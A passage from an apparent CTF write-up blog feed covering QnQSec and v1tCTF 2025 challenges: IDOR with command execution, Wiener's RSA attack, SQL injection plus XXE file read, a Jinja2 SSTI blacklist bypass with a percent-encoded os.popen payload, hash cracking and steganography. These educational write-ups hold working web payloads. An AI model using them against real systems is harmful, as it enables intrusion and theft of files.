&lt;p&gt;The flag is in &lt;code&gt;/app/.hidden/&lt;/code&gt; with a randomized filename. We can use wildcards: &lt;code&gt;/app/.hidden/flag*&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Exploring the Web Application&lt;/h3&gt;
&lt;p&gt;Found a &lt;code&gt;/profile&lt;/code&gt; endpoint with a &lt;code&gt;uid&lt;/code&gt; parameter. Testing &lt;code&gt;uid=1&lt;/code&gt; returns a user, &lt;code&gt;uid=2&lt;/code&gt; returns &quot;not found&quot;.&lt;/p&gt;
&lt;h2&gt;Finding the Admin User&lt;/h2&gt;
&lt;p&gt;I wrote a Python script to enumerate UIDs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for uid in range(1, 10000):
    response = requests.get(f&apos;/profile?uid={uid}&apos;)
    if &apos;admin&apos; in response.text.lower():
        print(f&apos;Admin found with uid {uid}&apos;)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Result: &lt;strong&gt;Admin found with uid 1337&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;The Admin Portal&lt;/h2&gt;
&lt;p&gt;The admin portal at &lt;code&gt;/profile?uid=1337&lt;/code&gt; has a link to an admin command interface with an input field (default: &lt;code&gt;whoami&lt;/code&gt;) that outputs &lt;code&gt;nobody&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This looks like command execution! However, trying to change commands returns &quot;Access denied&quot; because the form changes the UID to 2.&lt;/p&gt;
&lt;h2&gt;Exploitation - IDOR&lt;/h2&gt;
&lt;p&gt;The vulnerability is clear:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The admin portal checks if &lt;code&gt;uid&lt;/code&gt; has admin privileges&lt;/li&gt;
&lt;li&gt;But the &lt;code&gt;uid&lt;/code&gt; parameter is &lt;strong&gt;client-controlled&lt;/strong&gt; via the URL&lt;/li&gt;
&lt;li&gt;We can manually set &lt;code&gt;uid=1337&lt;/code&gt; to bypass the check!&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Final Exploit URL&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/admin?uid=1337&amp;amp;cmd=cat%20/app/.hidden/flag*
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;QnQSec{I_f0und_th1s_1day_wh3n_I_am_using_sch00l_0j}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Mandatory RSA</title><link>https://daryx.vercel.app/posts/qnqsec-2025-mandatory-rsa/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/qnqsec-2025-mandatory-rsa/</guid><description>RSA with small private exponent - Wiener&apos;s Attack</description><pubDate>Sun, 12 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Description&lt;/h2&gt;
&lt;p&gt;We are given RSA parameters: &lt;code&gt;n&lt;/code&gt; (a large modulus), &lt;code&gt;e&lt;/code&gt; (a large public exponent), and &lt;code&gt;c&lt;/code&gt; (the ciphertext).&lt;/p&gt;
&lt;p&gt;The hint explicitly references &lt;em&gt;&quot;Size of the D&quot;&lt;/em&gt;, which points to a &lt;strong&gt;small private exponent attack&lt;/strong&gt; (Wiener&apos;s attack).&lt;/p&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In RSA, the private exponent d satisfies: ed = 1 (mod phi(n))&lt;/li&gt;
&lt;li&gt;Normally, d is large, but if d &amp;lt; (1/3)n^0.25, Wiener&apos;s attack can recover it efficiently.&lt;/li&gt;
&lt;li&gt;The attack uses continued fractions of e/n to find convergents that approximate k/d.&lt;/li&gt;
&lt;li&gt;Once d is recovered, decryption is straightforward: m = c^d mod n&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exploit Steps&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Parse the given n, e, c&lt;/li&gt;
&lt;li&gt;Run &lt;strong&gt;Wiener&apos;s attack&lt;/strong&gt; to recover d&lt;/li&gt;
&lt;li&gt;Decrypt the ciphertext: m = c^d mod n&lt;/li&gt;
&lt;li&gt;Convert the integer m back into bytes to reveal the flag&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Solver Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import math

n = 30610867131545893573245403370929044810375908252345734515216335567761070674235240557970829245356614030481955825874376565524126172250295479286829004996105122106474627414932278394880727207687247106535964451736524423676062227917939094755601312619938974463767105253817030590414646900543888347805544511989816392901347341338737906837896070023751031260815782973250734600300683094949304509692321753534435264794596296780586539085130232106649876660029506699244567866816756904364396378546670735017278059889632347338673055259053699246622809620909022329749464060132071464884484682112534813343645706384624586841979729464134335809829
e = 13118943056376811531390887158969590633018246393862457649378429529040458860386531667701783962295691727349409639660447099510339788107269491122926716426902195188489126034970976454948883089008820188515413336458510467289740954821973897752400562551402417627328759394493013110177705814518809291916661933709921311243284600780240090861401353930215487292827235572235250164436683130292475464090785626013810206032736933354696930489144983575446495078404329829091193678240029445525658582548485531996972340914370823232033916046942293331266006647674886928834212203547468218609381456317192256524737280398698305720035095438106008915543
c = 18491889164810617543569456750416875989184817880137548014973592642069416208831086398288449741333647958301433206462225905089767171227296166302076329585813204145393998300807912284373441125769784091235480355305999860836226228064817001671079683866140595167104080925862489688205706558563994071054217252661751197090938128540101902284587959897970686920835999487758527543265902558413502613239565915919268373782402562042295965144636399280059309987259722405692758942811072888497222424752062745376152606372092707679048892146955016482797824514120865462676167840311292744307891590740707933408465096337716317714272609074408402855672

def is_perfect_square(x):
    r = int(math.isqrt(x))
    return r*r == x, r

def continued_fraction(a, b):
    q = []
    while b:
        q.append(a // b)
        a, b = b, a % b
    return q

def convergents_from_cf(cf):
    num1, num2 = 1, cf[0]
    den1, den2 = 0, 1
    yield (cf[0], 1)
    for k in cf[1:]:
        num = k*num2 + num1
        den = k*den2 + den1
        yield (num, den)
        num1, num2 = num2, num
        den1, den2 = den2, den

def wiener_attack(e, n):
    cf = continued_fraction(e, n)
    for (k, d) in convergents_from_cf(cf):
        if k == 0:
            continue
        phi_num = e*d - 1
        if phi_num % k != 0:
            continue
        phi = phi_num // k
        s = n - phi + 1
        D = s*s - 4*n
        is_sq, r = is_perfect_square(D)
        if not is_sq:
            continue
        p = (s + r) // 2
        q = (s - r) // 2
        if p*q == n and p &amp;gt; 1 and q &amp;gt; 1:
            return d, p, q
    return None

res = wiener_attack(e, n)
if not res:
    print(&quot;Wiener attack failed.&quot;)
else:
    d, p, q = res
    print(&quot;Recovered d:&quot;, d)
    m = pow(c, d, n)
    flag = m.to_bytes((m.bit_length() + 7)//8, &apos;big&apos;)
    print(&quot;Flag:&quot;, flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Output&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Recovered d: 7
Flag: b&apos;QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>s3cr3ct_w3b revenge</title><link>https://daryx.vercel.app/posts/qnqsec-2025-s3cr3ct-w3b-revenge/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/qnqsec-2025-s3cr3ct-w3b-revenge/</guid><description>SQL Injection + XXE for arbitrary file read</description><pubDate>Sun, 12 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&quot;I have hidden secret in this web can you find out the secret?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We are given a small PHP web application with a login page and an XML viewer. The Dockerfile hints that a &lt;code&gt;flag.txt&lt;/code&gt; file is copied into the container.&lt;/p&gt;
&lt;h2&gt;Recon &amp;amp; Source Review&lt;/h2&gt;
&lt;h3&gt;Login (login.php) - SQL Injection&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT * FROM users WHERE username = &apos;$username&apos; AND password = &apos;$password&apos;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No escaping, no prepared statements -&amp;gt; vulnerable to SQL Injection.&lt;/p&gt;
&lt;h3&gt;API (api.php) - XXE&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$dom-&amp;gt;resolveExternals = true;
$dom-&amp;gt;substituteEntities = true;
$dom-&amp;gt;loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT);
echo $dom-&amp;gt;saveXML();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vulnerable to XXE (XML External Entity) injection.&lt;/p&gt;
&lt;h3&gt;Dockerfile&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;COPY flag.txt /var/flags/flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flag is at &lt;code&gt;/var/flags/flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Step 1 - Authentication Bypass (SQLi)&lt;/h2&gt;
&lt;p&gt;Using a simple payload in the username field:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos; OR &apos;1&apos;=&apos;1&apos; #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The query becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users WHERE username = &apos;&apos; OR &apos;1&apos;=&apos;1&apos; # &apos; AND password = &apos;x&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This always returns a row, setting &lt;code&gt;$_SESSION[&apos;logged_in&apos;] = true&lt;/code&gt;. We are now authenticated.&lt;/p&gt;
&lt;h2&gt;Step 2 - XXE Exploitation&lt;/h2&gt;
&lt;p&gt;The XML parser expands external entities. We craft a malicious XML to read local files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE root [
  &amp;lt;!ENTITY xxe SYSTEM &quot;file:///var/flags/flag.txt&quot;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;amp;xxe;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 3 - Extracting the Flag&lt;/h2&gt;
&lt;p&gt;Send a POST request to &lt;code&gt;/api&lt;/code&gt; with the XML content and the flag appears in the response.&lt;/p&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability 1:&lt;/strong&gt; SQL Injection in login -&amp;gt; session bypass&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability 2:&lt;/strong&gt; XXE in XML parser -&amp;gt; arbitrary file read&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flag Path:&lt;/strong&gt; &lt;code&gt;/var/flags/flag.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>5571 (SSTI)</title><link>https://daryx.vercel.app/posts/v1tctf-2025-5571-ssti/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/v1tctf-2025-5571-ssti/</guid><description>Jinja2 SSTI bypass via percent-encoding</description><pubDate>Fri, 10 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Summary&lt;/h2&gt;
&lt;p&gt;The backend attempts to sanitize user input by blocking specific &quot;dangerous&quot; literals:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BLOCKED_LITERALS = [
  &apos;{&apos;, &apos;}&apos;, &apos;__&apos;, &apos;open&apos;, &apos;os&apos;, &apos;subprocess&apos;, &apos;import&apos;, &apos;eval&apos;, &apos;exec&apos;,
  &apos;system&apos;, &apos;popen&apos;, &apos;builtins&apos;, &apos;globals&apos;, &apos;locals&apos;, &apos;getattr&apos;, &apos;setattr&apos;,
  &apos;class&apos;, &apos;compile&apos;, &apos;inspect&apos;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The page is vulnerable to SSTI. The objective is to bypass the blacklist and execute a Jinja2 payload to read the flag file.&lt;/p&gt;
&lt;h2&gt;Key Idea: Percent-Encoding to Evade Blacklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The blacklist is applied on the raw input before decoding.&lt;/li&gt;
&lt;li&gt;By percent-encoding the entire payload (including braces, dots, underscores, quotes, etc.), we hide the literal characters from the blacklist.&lt;/li&gt;
&lt;li&gt;When the server decodes the request and then renders the template, the payload executes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Working Payload&lt;/h2&gt;
&lt;h3&gt;Raw payload:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{{config.__class__.__init__.__globals__[&apos;os&apos;].popen(&apos;cat flag.txt&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Fully percent-encoded:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;%7B%7B%63%6F%6E%66%69%67%2E%5F%5F%63%6C%61%73%73%5F%5F%2E%5F%5F%69%6E%69%74%5F%5F%2E%5F%5F%67%6C%6F%62%61%6C%73%5F%5F%5B%27%6F%73%27%5D%2E%70%6F%70%65%6E%28%27%63%61%74%20%66%6C%61%67%2E%74%78%74%27%29%2E%72%65%61%64%28%29%7D%7D
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Why This Bypass Works&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Blacklists are fragile, especially when applied before decoding.&lt;/li&gt;
&lt;li&gt;Encoding the entire payload prevents the literal tokens from matching blacklist checks.&lt;/li&gt;
&lt;li&gt;After decoding occurs later in the request/templating pipeline, the payload is restored and evaluated.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;v1t{55T1_byp4ss_w1th_3nc0d1ng}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Login Page</title><link>https://daryx.vercel.app/posts/v1tctf-2025-login-page/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/v1tctf-2025-login-page/</guid><description>Client-side SHA-256 hash cracking authentication bypass</description><pubDate>Fri, 10 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Description&lt;/h2&gt;
&lt;p&gt;We&apos;re given an HTML login page with client-side JavaScript authentication using SHA-256 hashes.&lt;/p&gt;
&lt;h2&gt;Source Code Analysis&lt;/h2&gt;
&lt;p&gt;Looking at the HTML source, we find the authentication logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    async function toHex(buffer) {
      const bytes = new Uint8Array(buffer);
      let hex = &apos;&apos;;
      for (let i = 0; i &amp;lt; bytes.length; i++) {
        hex += bytes[i].toString(16).padStart(2, &apos;0&apos;);
      }
      return hex;
    }

    async function sha256Hex(str) {
      const enc = new TextEncoder();
      const data = enc.encode(str);
      const digest = await crypto.subtle.digest(&apos;SHA-256&apos;, data);
      return toHex(digest);
    }

    (async () =&amp;gt; {
      // Target hashes
      const ajnsdjkamsf = &apos;ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e&apos;;
      const lanfffiewnu = &apos;48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6&apos;;

      const username = prompt(&apos;Enter username:&apos;);
      const password = prompt(&apos;Enter password:&apos;);

      const uHash = await sha256Hex(username);
      const pHash = await sha256Hex(password);

      if (timingSafeEqualHex(uHash, ajnsdjkamsf) &amp;amp;&amp;amp;
          timingSafeEqualHex(pHash, lanfffiewnu)) {
        alert(username+ &apos;{&apos;+password+&apos;}&apos;);
      } else {
        alert(&apos;Invalid credentials&apos;);
      }
    })();
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The authentication compares SHA-256 hashes of the username and password against hardcoded values. We need to crack these hashes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Username hash: &lt;code&gt;ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Password hash: &lt;code&gt;48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Using CrackStation&lt;/h3&gt;
&lt;p&gt;Running these hashes through &lt;a href=&quot;https://crackstation.net&quot;&gt;CrackStation&lt;/a&gt; or hashcat:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ba773c01...&lt;/code&gt; -&amp;gt; &lt;strong&gt;v1t&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;48d2a5bb...&lt;/code&gt; -&amp;gt; &lt;strong&gt;p4ssw0rd&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;The flag format is &lt;code&gt;username{password}&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v1t{p4ssw0rd}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lessons Learned&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Never do authentication client-side with hardcoded hashes&lt;/li&gt;
&lt;li&gt;Common passwords are easily cracked via rainbow tables&lt;/li&gt;
&lt;li&gt;CrackStation and similar services can quickly reverse weak hashes&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Lost Some Binary</title><link>https://daryx.vercel.app/posts/v1tctf-2025-lost-some-binary/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/v1tctf-2025-lost-some-binary/</guid><description>LSB Steganography in binary data</description><pubDate>Fri, 10 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge&lt;/h2&gt;
&lt;p&gt;A long sequence of 8-bit binary bytes is given:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;01001000 01101001 01101001 01101001 00100000 01101101 01100001 01101110 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When converted directly to ASCII (byte -&amp;gt; char), it prints a readable message:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hiii man,how r u ?Is it :))))Rawr-^^[] LSB{&amp;gt;&amp;lt;}!LSBLSB---v1t {135900_13370}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Key hints inside:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LSB{&amp;gt;&amp;lt;}!&lt;/code&gt; and repeated &lt;code&gt;LSB&lt;/code&gt; strongly suggest Least Significant Bit steganography.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;v1t {135900_13370}&lt;/code&gt; at the end looks decoy-ish, nudging you away from the plain ASCII.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Interpret each 8-bit byte, take its least significant bit (rightmost bit), concatenate all LSBs into a bitstring, then re-slice into 8-bit groups and convert back to ASCII.&lt;/p&gt;
&lt;h3&gt;Python Extractor&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
binary_data = &quot;&quot;&quot;01001000 01101001 01101001 01101001 00100000 01101101 01100001 01101110 00101100 01101000 01101111 01110111 00100000 01110010 00100000 01110101 00100000 00111111 01001001 01110011 00100000 01101001 01110100 00100000 00111010 00101001 00101001 00101001 00101001 01010010 01100001 01110111 01110010 00101101 01011110 01011110 01011011 01011101 00100000 00100000 01001100 01010011 01000010 01111011 00111110 00111100 01111101 00100001 01001100 01010011 01000010 01111110 01111110 01001100 01010011 01000010 01111110 01111110 00101101 00101101 00101101 01110110 00110001 01110100 00100000 00100000 01111011 00110001 00110011 00110101 00111001 00110000 00110000 01011111 00110001 00110011 00110011 00110111 00110000 01111101&quot;&quot;&quot;

# Split into bytes and take the last bit of each byte
bytes_list = binary_data.split()
lsb_bits = &apos;&apos;.join(b[-1] for b in bytes_list)

# Group into 8 and convert to characters
chars = [chr(int(lsb_bits[i:i+8], 2)) for i in range(0, len(lsb_bits), 8)]
flag = &apos;&apos;.join(chars)

print(flag)   # v1t{LSB:&amp;gt;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Why it Works&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Each original 8-bit chunk encodes one visible ASCII character (the decoy message).&lt;/li&gt;
&lt;li&gt;The author hid an additional message in the LSB of each byte.&lt;/li&gt;
&lt;li&gt;Collecting those LSBs builds a secondary binary message that decodes to the actual flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;v1t{LSB:&amp;gt;}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Mark The Lyrics</title><link>https://daryx.vercel.app/posts/v1tctf-2025-mark-the-lyrics/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/v1tctf-2025-mark-the-lyrics/</guid><description>Flag hidden in HTML mark tags within song lyrics</description><pubDate>Fri, 10 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;The page shows well-formatted Vietnamese rap lyrics (Verse, Pre-Chorus, Chorus, Outro). The prompt hints that something is &quot;odd&quot; about the lyrics. Viewing the HTML reveals certain fragments wrapped in &lt;code&gt;&amp;lt;mark&amp;gt;...&amp;lt;/mark&amp;gt;&lt;/code&gt; elements. Those marked fragments, read in order, form the flag.&lt;/p&gt;
&lt;h2&gt;Manual Extraction&lt;/h2&gt;
&lt;p&gt;Reading each &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt; in document order yields:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;V&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;T&lt;/code&gt; (from &quot;M-TP&quot;, the letter T is marked)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MCK&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pap-&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cool&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ooh-&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;yeah&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;}&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Browser Console One-liner&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Array.from(document.querySelectorAll(&apos;mark&apos;))
  .map(m =&amp;gt; m.textContent)
  .join(&apos;&apos;);
// =&amp;gt; &quot;V1T{MCK-pap-cool-ooh-yeah}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Python Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import re, pathlib

html = pathlib.Path(&apos;index.html&apos;).read_text(encoding=&apos;utf-8&apos;)
marks = re.findall(r&apos;&amp;lt;mark&amp;gt;([^&amp;lt;]+)&amp;lt;/mark&amp;gt;&apos;, html)

print(&quot;MARK THE LYRICS - FLAG EXTRACTOR&quot;)
for i, m in enumerate(marks, 1):
    print(f&quot;{i}. {m}&quot;)

flag = &apos;&apos;.join(marks)
print(&quot;\nCombined:&quot;, flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;V1T{MCK-pap-cool-ooh-yeah}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>RSA 101</title><link>https://daryx.vercel.app/posts/v1tctf-2025-rsa-101/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/v1tctf-2025-rsa-101/</guid><description>RSA decryption with message larger than modulus</description><pubDate>Fri, 10 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;You&apos;re given RSA parameters and a ciphertext. Factoring &lt;code&gt;n&lt;/code&gt; via FactorDB yields a very small prime &lt;code&gt;p = 101&lt;/code&gt; and a large prime &lt;code&gt;q&lt;/code&gt;. Standard RSA decryption &lt;code&gt;m = c^d mod n&lt;/code&gt; returns a number that doesn&apos;t decode to ASCII.&lt;/p&gt;
&lt;p&gt;The twist: the original message &lt;code&gt;M&lt;/code&gt; was larger than the modulus &lt;code&gt;n&lt;/code&gt;, so encryption implicitly reduced it modulo &lt;code&gt;n&lt;/code&gt;. After decryption, you get &lt;code&gt;M mod n&lt;/code&gt;; to recover &lt;code&gt;M&lt;/code&gt;, you add back (a multiple of) &lt;code&gt;n&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Given Parameters&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;p = 101&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;q = 313846144900241708687128313929756784551&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;n = 31698460634924412577399959706905435239651&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e = 65537&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c = 23648999580642514140599125257944114844209&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Math&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;phi(n) = (p - 1)(q - 1)&lt;/li&gt;
&lt;li&gt;d = e^-1 mod phi(n)&lt;/li&gt;
&lt;li&gt;m_dec = c^d mod n&lt;/li&gt;
&lt;li&gt;If original M &amp;gt;= n, encryption sent M mod n. After decryption we get m_dec = M mod n.&lt;/li&gt;
&lt;li&gt;Recover M by testing M = m_dec + k*n for small k &amp;gt;= 0 until bytes decode. Here k = 1 works.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Solution Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import sympy as sp

p = 101
q = 313846144900241708687128313929756784551
n = 31698460634924412577399959706905435239651
e = 65537
c = 23648999580642514140599125257944114844209

# Sanity checks
assert p * q == n
assert sp.isprime(p) and sp.isprime(q)

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

m_dec = pow(c, d, n)
print(&quot;m_dec =&quot;, m_dec)

# Try adding multiples of n until it decodes
def try_decode(x: int):
    try:
        h = hex(x)[2:]
        if len(h) % 2:
            h = &quot;0&quot; + h
        return bytes.fromhex(h).decode()
    except Exception:
        return None

flag = None
for k in range(0, 5):
    candidate = m_dec + k * n
    s = try_decode(candidate)
    if s and s.startswith(&quot;v1t{&quot;) and s.endswith(&quot;}&quot;):
        flag = s
        print(&quot;k =&quot;, k, &quot;-&amp;gt;&quot;, flag)
        break

assert flag is not None
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Why This Works&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;RSA encrypts modulo &lt;code&gt;n&lt;/code&gt;. If the original message &lt;code&gt;M&lt;/code&gt; is larger than &lt;code&gt;n&lt;/code&gt;, the actual encrypted value is based on &lt;code&gt;M mod n&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Decryption returns the reduced message. Adding one modulus (or a few) reconstructs a valid preimage that maps to ASCII.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;v1t{RSA_101_b4by}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Stylish Flag</title><link>https://daryx.vercel.app/posts/v1tctf-2025-stylish-flag/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/v1tctf-2025-stylish-flag/</guid><description>CSS Pixel Art flag hidden in box-shadow styling</description><pubDate>Fri, 10 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;The page loads a nearly empty HTML with just a single &lt;code&gt;div.flag&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;csss.css&quot;&amp;gt;
&amp;lt;div class=&quot;flag&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The CSS paints &quot;pixels&quot; by using a huge &lt;code&gt;box-shadow&lt;/code&gt; list on an 8x8 base square:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.flag {
  width: 8px;
  height: 8px;
  background: #0f0;
  box-shadow:
    264px 0px #0f0,
    1200px 0px #0f0,
    0px 8px #0f0,
    32px 8px #0f0,
    ... many more offsets ...
    1200px 64px #0f0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each &lt;code&gt;xpx ypx #0f0&lt;/code&gt; entry draws another 8x8 green square at that offset. Together they form pixel art that encodes the flag.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;h3&gt;Step-by-Step&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open the page and launch your browser&apos;s DevTools (F12).&lt;/li&gt;
